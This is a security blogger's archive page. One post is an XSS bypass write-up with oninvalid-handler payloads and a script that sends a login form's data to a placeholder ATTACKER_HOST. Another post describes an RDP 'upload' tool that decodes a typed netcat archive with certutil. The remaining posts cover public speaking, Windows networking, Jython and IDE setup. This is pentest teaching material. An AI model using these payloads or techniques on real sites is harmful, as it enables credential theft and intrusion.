Author Archives: cornerpirate

XSS using HTML 5 Event Handlers

I recently had some luck using HTML 5 event handlers to exploit XSS. This post includes some of the outcomes and a bit of how to replicate the steps using Burp Suite’s Intruder using some wordlists stuck at the end of this post.

The target had attempted to use blacklisting to prevent dangerous tags and event handler combinations. So things like “onload” and “onerror” were rejected when they were within the context of an HTML tags. So you would see this behaviour:

Probe Response
onerror String on own is not a threat. Filter allows it
<img src=x onerror=”alert(1);”/> String is inside a tag. Filter blocks it

Crucially the target was doing nothing to block or encode individual characters so we had the full range listed below:

  • <
  • >
  • =
  • ;
  • white-space

Not encoding these characters pretty much guarantees XSS will be exploitable.

Relying on a pure blacklist approach is a poor defence which is why it was bypassed with a bit of elbow grease.

Injecting when angle brackets are possible

If your target allows angle brackets you can create a new HTML tag and then use my new friend the HTML 5 “oninvalid” event handler as shown below:

"><input style="visibility: hidden" oninvalid="alert(1)" required><a="

This is interesting because:

  1. It introduces a new input tag.
  2. By setting the id to “a” we can use getElementById(“a”) in payloads (see next section)
  3. Then it makes that invisible using the style attribute.
  4. It uses my new buddy “oninvalid” to contain the JavaScript to execute.
  5. Ending with “required” which means when a form is submitted if this field is empty the event handler will trigger.

The “oninvalid” event handler is enabled in all modern web browsers so this has a nice cross browser support.

Payloads with user interaction are usually not so good.  While other event handlers like “oncontextmenu” worked, the user would have to right click on the injected area. Even after making something cover the whole page why would they right click? This is why I really like “oninvalid” because it is natural to actually submit a web form when the user is presented with one. Particularly considering the fact I was injecting into a Login page.

Example Payload to snoop on a form

I created a payload which would redirect form data to an attacker’s HTTP server. For readability this has been split into three lines as shown below:

document.getElementById("a").value="a";
document.forms[0].action="https://ATTACKER_HOST/";
document.forms[0].method="GET";

First it alters the value of our injected parameter so that the form will then submit.

Then it alters the action to our web server. To avoid mixed content warnings it is most likely that you will need to start an HTTPS listener. If yours has a valid certificate then all the better.

Finally it changes the method to GET so the form details are now in a URL for the server logs. This is not strictly necessary as you could create a route to log details over HTTP POST. As I am not actually a bad guy my PoC is enough at this point.

Injecting when angle brackets are NOT possible

If the target denies angled brackets you cannot create a new input tag. If your probes land inside an “<input>” tag (as mine actually did) I was able to refine the exploit. Our friend “oninvalid” can use regular expressions to validate input specified by a “pattern”. You can make that pattern always fail to then intercept form data.

The following shows the probe which would work for that:

" oninvalid="alert(1)" pattern=".{6,}"

So long as the user input does not match the pattern your alert message will popup when the form is displayed.

Mileage varies with this one. I was injecting into an input of type “hidden” which did not honour the oninvalid (for good reason). But when the type is “text” it worked. All of this tested in Firefox only.

Enumerating the Defences

As I cannot disclose what I was probing in this case, lets say that the vulnerable parameter was called “xssparam”. So I was injecting into something like this:

https://target/login.php?xssparam=<INJECT_HERE>

When I set the value of “xssparam” the application did one of two things:

  1. IF the value included a blocked term (i.e. “onerror”) then the entire parameter was rejected. The response page did not include any part of the “xssparam” value.
  2. IF the value included no blocked terms then the entire contents of “xssparam” was returned in the HTML response page.

This means that the target was blocking unsafe input. This is a better approach than trying to sanitise input (strip the bad stuff, and return ‘safe’ data) which usually just adds in more headaches. So that is something at least.

The problem with pure blacklists is simply an arms race against the filter where you try to locate HTML tags and event handlers which are not blocked. The next section explains how to use Burp’s Intruder to do this.

Using Intruder to Locate Weaknesses

Having enumerated the defences my favourite approach in this case is to use Burp’s intruder to find tags and probes which are allowed. To do this you would follow this process:

  1. Send the baseline request to intruder.
  2. Find the location of the injection point and mark it up.
    1. In this case login.php?xssparam=XSS1%20<INJECT_HERE>%20XSS2
    2. By using “XSS1” and “XSS2” we have an easy way to find our probes in the HTTP response.
  3. Create a txt file of probes to try. In this case I have used a list of HTML tag names and HTML event handlers which are provided at the end of this post.
  4. Load those probes
  5. Configure a “grep extract” to locate the probe in the response and extract it as shown below:

grep-extract

When you run the intruder process your grep extract will list words which are not blocked by the filter:

list-of-available-event-handlers

In this case my process found that all HTML 5 event handlers worked in a raw probe. While the list of HTML tags was limited (but not shown). The final probe listed at the start of this was generated after discovering that the “input” tag and “oninvalid” were permitted past the filter. Hey, nobody said it was a GOOD filter!

Hopefully you now know how to use Burp’s Intruder to go manually hunting for XSS. Which is the point of this post.

List of HTML 5 Tags

This list was taken from the list here:

https://www.w3schools.com/tags/default.asp

For ease you can copy, paste and save this:

a
abbr
acronym
address
applet
area
article
aside
audio
b
base
basefont
bdi
bdo
big
blockquote
body
br
button
canvas
caption
center
cite
code
col
colgroup
data
datalist
dd
del
details
dfn
dialog
dir
div
dl
dt
em
embed
fieldset
figcaption
figure
font
footer
form
frame
frameset
h1 to h6
head
header
hr
html
i
iframe
img
input
ins
kbd
label
legend
li
link
main
map
mark
meta
meter
nav
noframes
noscript
object
ol
optgroup
option
output
p
param
picture
pre
progress
q
rp
rt
ruby
s
samp
script
section
select
small
source
span
strike
strong
style
sub
summary
sup
svg
table
tbody
td
template
textarea
tfoot
th
thead
time
title
tr
track
tt
u
ul
var
video
wbr

List of HTML 5 Event Handlers

This list was taken from the list here:

https://www.quackit.com/html_5/tags/html_h3_tag.cfm

For ease you can copy, paste and save this:

onabort
oncancel
onblur
oncanplay
oncanplaythrough
onchange
onclick
oncontextmenu
ondblclick
ondrag
ondragend
ondragenter
ondragexit
ondragleave
ondragover
ondragstart
ondrop
ondurationchange
onemptied
onended
onerror
onfocus
onformchange
onforminput
oninput
oninvalid
onkeydown
onkeypress
onkeyup
onload
onloadeddata
onloadedmetadata
onloadstart
onmousedown
onmousemove
onmouseout
onmouseover
onmouseup
onmousewheel
onpause
onplay
onplaying
onprogress
onratechange
onreadystatechange
onscroll
onseeked
onseeking
onselect
onshow
onstalled
onsubmit
onsuspend
ontimeupdate
onvolumechange
onwaiting

Exit Interview

I failed upwards into management a few years ago. This means that I effectively opened an office for my employer and was responsible for finding, evaluating, recruiting, onboarding and generally looking after a team in Glasgow. This has been a privilege and for the most part the last two years has been a riot.

We build a pretty tight ship of overlapping skills with enough diversity in our thoughts to make things entertaining. It is to be expected that folks who join the crew set sail themselves to explore new shores someday. That doesn’t make it any easier when you effectively think of them as friends first.

Today is the last day for one of the original deck hands who is leaving for the best of reasons. What I know is that they are properly prepared for whatever is coming both personally and professionally. They will rock it out somewhere else.

I am learning there is a difference between intellectually knowing that there will be staff turnover, and experiencing it first hand a few times. Nobody said management was ever fun.

Reckon I am a bit like a parent waving their kid off to Uni and knowing that it is actually a good thing for them.

We will miss the enthusiasm and abilities day-to-day. But forever I will be up in your life so don’t you worry about that.

Let’s Talk: Learning by Speaking

I did a talk “Hacking with Git” at BSides Glasgow. This was the first time I put myself out there to do a talk at a grown up event. Stop holding yourselves back! Learn, share and enjoy folks. You don’t have to become a public speaker. Blog, make youtube videos, stick a tool out there. Even if you only solve a problem that you have, you solved one of your problems.

This blog is about the things I learned along the way some of which might help you if you decide to go for something similar.

Here is a list of things that I learned or improved my abilities in during the process:

  • Using PowerPoint – I am god mode in the office suite (not a cool brag, but a brag there). I do not count PowerPoint when I say that. It is by far (for me) the worst bit of office. Bits of it are just plain inconsistent with how word and excel do things.
  • Recording videos of my desktop screen – I had tried this before. I definitely got better.
  • Video editing – I have never done this before.
  • New Python modules: CMD2, GIN, tqdm – I am so average at python. But I try and have made a few scripts in my time. These modules helped me and I am totally in love with CMD2. I plan to cover these things when I release the tools later. I have an ode to CMD2 at the end of the work blog here.
  • Preparing a talk for a limited time slot – I am pretty sloppy in my timing of tasks in general. I frequently talk to people so long that they are knackered and I am knackered. I am working on it 😀

Doing something beyond your current skill set is great. Not before it happens. Not during the moments of doubt. But now. Looking back at it I have nothing but positive feelings about it.

Hopefully the thoughts below help someone else add their voice to whatever event.

The Journey

After submitting the talk I went through a cycle of doubt. I avoided it. I procrastinated hard. Rather than making the slides for “Hacking with Git” I literally made a talk about procrastinating and delivered it at the local Defcon meetup DC44141.

Sorry to anyone who turned up for a real talk who saw “Professional Procrastinator”. I literally decided to do the talk about 8am on the day. Doing that was catharsis. It earned me confidence that I could just go talk rubbish for a while and the sky didn’t fall.

That talk ended with me nervously standing while this played:

A friend had asked me to put words to the Quincy theme in the days before Defcon. Instead of recording the demo videos for “hacking with git” I made this ^^^. While I was clearly procrastinating, I did learn some serious skills:

  • VLC
    • Can strip an audio track.
    • You can then replace that audio track.

Other things you can do with VLC that I learned recently is that you can convert video files from one format to another. It is really the “Swiss army knife” of video and audio conversion and there was me thinking it just played videos.

Appease the “Demo Gods”

If you have made a tool or you have a technique to talk about then you are going to need to demonstrate it. PoC or piss off right? A technical talk needs a demo. Ask the organisers if they have a reliable network for your needs.

Live hacking something takes some guts and you need more if it needs the Internet.

Even if you can demo something live consider what happens if it all goes to shit on the day. I suggest you record a video where it worked fine. You then only have to worry about this: does the venue have speakers?

Having offset the fear of the demo gods by deciding early that I had to make videos, I relocated my fear onto the venue not having a sound system. Turns out they did, turns out it was all fine.

Desktop Recording Software

I have dabbled with recording my desktop a few times. I had used “Screen Recorder” in the past on Windows. While it works, your options for free are minimal and you are limited to 5 minutes. This is literally why most videos I made before are < 5 minutes long.

Once before I have recorded a demo within Kali using “recordMyDesktop“. Which is fine if you are doing something only within Kali. The problem I had with that personally was my voice sounded like it was coming in from another universe in that video. To solve that I ended up purchasing a USB microphone (see below) which I could send straight into the VM which was dedicated. Absolutely solved the problem.

In the end I discovered a free screen recorder baked into Windows 10. Part of the XBOX app you can record anything. This worked well and had no time limits and meant I could record anything on a screen. If you find this Microsoft. Just cut the code out from the XBOX app and provide it as a dedicated app please kthnxbye.

Buying a Microphone

I looked around for a microphone which would improve over the gaming headset I have.

Snowball_Blue

After reading numerous reviews I ended up choosing a “Snowball Blue“. This has a few settings and I have been able to use it for: Skype, Recording Guitar, Singing, and making videos.

It is pretty versatile for the ~£50 price tag. I am very happy with this piece of kit. It is the only item that cost money during the process and personally it has been money well spent.

Recordings for “Hacking with Git” had to happen late at night when my kids were asleep. Sadly in a small room which makes the audio worse than it should have been. Don’t judge the mic on the audio in the videos. It has performed much better when I get the chance to use it in my living room.

Video Editing

The tools that I needed to demonstrate take a few minutes to run. I could describe what they were doing much quicker than showing them completely. I figured it would be really boring for a crowd to watch a progress bar. So I needed to learn how to edit videos.

I found OpenShot which is free and *awesome*. It is available on Windows and Linux. I tried both platforms and they worked for me. The process was intuitive and there are plenty of tutorials on YouTube.

Preparing your talk for a limited time slot

While I have done a few talks before this was the first time I practised effectively. I recorded my efforts and did a bunch of dress rehearsals. I listened back to them and found the parts where I was waffling.

An initial run of the talk was a flabby 55 minutes. On the day it was a taught 38 minutes, AND I had added a bunch of slides since the ludicrously long one to boot. I said more in LESS time! Practising is apparently good; who has knew this?

PowerPoint has “presenter” view which comes when you have two monitors (laptop and external). The external will show the slides “to the audience” and the laptop screen will show presenter view as below:

PowerPoint_Presenter

The highlighted bit shows the time since the presentation started. This was a vital part of the practice sessions for me.

PowerPoint Presenter Mode Not Working

In the days before BSides I was getting stressed because my “presenter” mode was not launching. I could not find the solution until literally the day before BSides I discovered Nvidia are messing with me.

The option shown below is buried within “nView Desktop Manager” -> “Applications” and “Enhancements” menu:

nView_Desktop_Manager

Telling that option to do one made presenter view work perfectly. Just in time for me to get my practices done. I hope that little Nvidia trick saves someone the mad panic I had.

In conclusion;
I don’t know how to end blog posts.

C’est fin.

 

Network Adapter names in Windows for Hackers

Sometimes you will need to test from a Windows environment. To cite merely two examples:

  • if you have busted out of a Citrix locked down environment and are now installing tools; or
  • if the customer wants you to simulate a rogue internal user with one of their Workstations (I love doing this personally!).

These come up relatively regularly in my life but not day to day. The biggest one is really: you just want to do some work and your host OS is Windows!

In those situations you might miss the friendly and warm embrace of “eth0” and that ilk we have under Linux. If you want to install and run Responder or Wireshark or whatever you will need to know your interface names.

Solution

Rename your adapters to mean something to you! Not complicated. Windows allows you to do this via “Control Panel” -> “Network and Internet” -> “Network Connections:

rename-adapters

Pick a name that makes sense to you and be on your merry way. I renamed things to “Ethernet”, “Ethernet 2”, “WiFi” etc so I knew what they were. These names are then persisted within Wireshark when I tested it so it seemed like a good idea to me.

The rest of this blog are just random thoughts on Adapter Creep, and ipconfig rants if you want to stick around that is your choice!

Adapter Creep: How we got here

The number of network adapters has been on the increase in the last decade. You may have:

  • Ethernet
  • WiFi
  • VPN Connections
  • Virtualised Interfaces (for VMWare, VirtualBox etc)

I personally find it a pain to read the output of “ipconfig” or sift through the drop downs in tools. This is another reason I decided to start renaming adapters.

Rant about “ipconfig”

The following in your command prompt will display the list of adapter names you currently have:


ipconfig | findstr "adapter"

The usage instructions for “ipconfig” do state that you have a “where” clause which can let you interact with specific interfaces:

ipconfig

Based on attempting this myself many years ago, and on the various Stack Overflow and forum responses I just saw on trying to use that “where”, I am going to conclude that this doesn’t work well enough for anyone.

I had hoped that explicitly setting the name of the adapter would make this easier but somehow “*Ethernet*” does nothing as far as I can see.

Solutions are out there to get what you want with .bat files, or VBS etc. Fairly hacky was to do basic networking tasks.

Netsh seemingly to the rescue

In reading the forum posts I did find a tip about using “netsh” instead of “ipconfig”. While this feels like a much much bigger tool for the job. It is possible to properly query details of specific interfaces only. So sharing the syntax in case it helps:


netsh interface ip show address name="WiFI"

Where the address name is exactly the name of the adapter.

 

Jython and it’s java.nio.charset.UnsupportedCharsetException

 

I have been working on an Extender for Burp Suite (a local proxy which allows you to check for common problems and security weaknesses). While the proxy is written in Java it is common for the Extender’s to be made in Python.

Jython is the glue that keeps Java and Python working. My Extender had the need to execute python so I redirected the Standard Out and Standard Error streams to a MessageConsole.

Redirecting Standard out and err

The code for doing this is shown below:

// Redirect standard out and err to the MessageConsole
MessageConsole console = new MessageConsole(this.output);
console.redirectOut();
console.redirectErr(Color.RED, null)

Note: I might not leave this as the final product because I have just found this reference:

http://www.jython.org/javadoc/org/python/util/PythonInterpreter.html

Which indicates that “setErr” and “setOut” might work better for me somehow. However, that is a side show.

With the above code if you click the “Execute” button you trigger an event handler with this code:

// Get the python code from the text area
String python = pythonTextArea.getText();

// Show user that something is happening
setCursor(Cursor.getPredefinedCursor(Cursor.WAIT_CURSOR));
PythonInterpreter interp = new PythonInterpreter();

// Run the user python in the Jython interpreter.
interp.exec(python);
// Close the interpreter
interp.close();

// Now our task is over show the user it is done.
setCursor(Cursor.getPredefinedCursor(Cursor.DEFAULT_CURSOR));

Pretty simple; get me the python code, start an interpreter, execute, and close the interpreter.

UnsupportedCharsetException: cp0

Using the above code you will see that you get our pesky “UnsupportedCharsetException” on first execution of Jython as shown below:

unsupportedCharsetException.png
That makes for an unsightly error. It is not a blocker because as you can see the JOptionPane displayed its message after. But an error appearing to users is going to erode their trust in your software. Particularly since this happens once per execution. After it is displayed it seems Jython then selects an OK character set and plays happy from there.

Looking into it the exception is because the Java Virtual Machine has not been launched with an appropriate run-time parameter. According to the reference below:

https://wiki.python.org/jython/ConsoleChoices

You should be able to fix the problem by launching your Java process like this:

java -jar <yourexecutable> -Dpython.console.encoding=UTF-8

There are other Console Choices available. But this seems to be a way to prevent the error. This is also the accepted answer on bug trackers and forums across the Internet.

It seems possible to use a “jython registry” to apply this setting but that means shipping files with your tool or making users create them. It seemed messy when what I guess we really want is a way to set the character set somehow as a property of instantiating the “PythonInterpreter” object. That doesn’t appear to be in the API so we can only dream of that.

The Right Solution

The legend that is Paj working over at PortSwigger these days fired in this nugget:

Which effectively is the programmatic interface to interacting with run-time parameters. This solution works perfectly when I tested it. The code for this is below:


System.setProperty("python.console.encoding", "UTF-8");

// Redirect standard out and err to the pythonOutput textpane
MessageConsole console = new MessageConsole(this.output);
console.redirectOut();
console.redirectErr(Color.RED, null);

That got the job done right. If for some reason you are unable to use that. Then I have maintained my hilariously hacky solution which somewhat did the same job.

The Hacky Solution

In the realm of writing Burp Extenders I am not able to really influence how users launch their instance of Burp (so that -D approach is not likely). Nor would I imagine PortSwigger (the vendor) taking the time to cater for this edge case by making everybody launch burp a new way! Quite rightly too.

This means I came up with a hacky solution which avoids the errors for users:

// Here comes the dirty, dirty hack!
PythonInterpreter interp = new PythonInterpreter();
interp.exec("a=1+2");
interp.close();
// Yup. Launch the interpreter and do nothing of significance
// Do it before setting up your STDOUT and STDERR redirects

// Redirect standard out and err to the pythonOutput textpane
MessageConsole console = new MessageConsole(this.output);
console.redirectOut();
console.redirectErr(Color.RED, null);

I am going to need a shower. This feels particularly dirty even for me.

Folks from Google. You are welcome!

Uploading files to RDP when that is restricted

The short version:

  • A tool which works in Kali Linux which will “upload” a file to an RDP session.
  • Most of the time RDP allows one of “drag and drop”, “copy and paste”, or “mounting of your local hard drive”. So 99% of the time you do not need to do this at all!
  • When all other options are unavailable to you then you can always simply type the contents of any file you want. Then use built in tools on the target’s side to decode and then execute your uploaded file.

Get the tool here:

https://github.com/cornerpirate/rdpupload

With an example usage embedded below:

Details

This is a very old technique. All I have done is have a stab at making my own tool for doing this. I meet aspiring hackers who say they want to jump into coding, but don’t have any “ideas”. They seem unimpressed when I say write a port scanner.

If that is you then I say to you: re-invent the damn wheel!

Sometimes the wheel needs upgrading you know? Many of the tools we have now as the “goto” for something are about 17th in newness of technique. Any tool can be toppled by a better successor.

But world domination is not the goal. Implementing your own versions of old ideas is actually just for getting your skills in for the day you invent an entirely new wheel. It also teaches you how a thing works which is brilliant. At a job interview you will stand out if you actually know what the top tool does under the hood.

What I learned on this one

To make rdpupload I have learned:

  • argparse better (I have used this before)
  • how to simulate key presses in python
  • how to do a progress bar in a CLI
  • how to zip a file using python
  • how to play an mp3 in python

But most importantly I learned how a file upload may work by typing it, along with how to decode that on the server side easily.

Technique Used

The following summarises the techniques used:

Kali Side:

  1. Zip the file you want to upload (might save some characters depending on the file).
  2. Base64 encode that file (so every character we are going to use is available on a standard English Keyboard).
  3. Split the encoded file into chunks of size 256 characters (arbitrary length choice here).
  4. Spoof a keyboard typing each block of 256 characters until it is completed.
  5. Display a progress bar and optionally play the sound of a typewriter hammering away while the “upload” happens.

Victim Side:

  1. Place the cursor into “Notepad” within an RDP session.
  2. When the “upload” is complete save that as a “.txt” file.
  3. Open a command prompt and use “certutil.exe” to decode the base64 encoded file. The syntax for that is shown below.
  4. Use the zip feature of Windows to unpack the zip file.
  5. Profit.

The decoder on the server side relies on “certutil.exe”. Unless I am wrong this is available from Server 2003 upwards so is pretty useful for most use cases.


Syntax: certutil -decode <inputfile> <outputfile>

Example: certutil -decode nc.txt nc.zip

The decode command is also spat out on the Kali side for convenience once the upload is complete.

Using Eclipse + PyDev as an IDE for Python in Kali

I have been making more and more Python scripts in the last 4 years. I have always had sub-optimal environments for doing so. With no interest in a debate on the best text editor. What I really wanted was an IDE. One that I can understand is ideal. As it happened I have some experience of Eclipse and tonight I found “PyDev”.

PyDev is free, easy to install, and gives me code auto-completion which I have rarely had in my Pythonic adventures to date. I love me code auto-completion. I have had it in various editors. However, I trash my Kali VMs with such regularity that I’d rather have something with an easier install than things to backup.

I am installing into a fresh install of Kali 2017.1 here. Anything else and you may have a different experience.

Prerequisites

All we need is eclipse and java 8. Install them as shown below:


apt-get install eclipse

apt-get install openjdk-8-jdk

When I did this Kali installed eclipse 3.8.1. This is not the latest. The newest PyDev works for later versions of eclipse. We need to install from the PyDev 4.X release stream. If you use the wrong release stream then PyDev will not show up in the GUI after installation.

Installing PyDev

Goto “Help” -> “Install New Software”

This will show you a screen where you can add a repository as shown:

add-repo

Do the things in the number order above. To save you precious typing the Location is:

https://dl.bintray.com/fabioz/pydev/4.5.5/

You now have to select your install as shown:

select-install

Follow the numbered steps again. Then click “Next” on the subsequent screen with the title “Install”.

At this point you will get the security warning prompts. This is because the package is self-signed:

accept-risky-thing

It is risky. There is no doubt here that taking something with an insecure certificate is a risk. When I followed the official guide I got the same error but that was using a repository over plain-text HTTP. Neither of those cases is really up to snuff when it comes to security.

But this is an opensource project which is being made free of charge for the love of the community. So is the entire stack you are sitting on!

I rolled my risk o-meter and said my VM isn’t having customer data in it.

After the installation is complete Eclipse will restart. Then you can check that the installation worked by going to: “Window” -> “Preferences” -> PyDev.

If you have that PyDev menu there then you are all setup. Congratulations and now enjoy your Python Dev with code completion and everything you would want.

Debugging

If you do not see the PyDev option under “Window” -> “Preferences”, then:

  1. You didn’t install java 8; or
  2. You didn’t install from the 4.X release stream of PyDev if you are using Eclipse 3.8.X

Or  you have a new problem I did not encounter during this setup.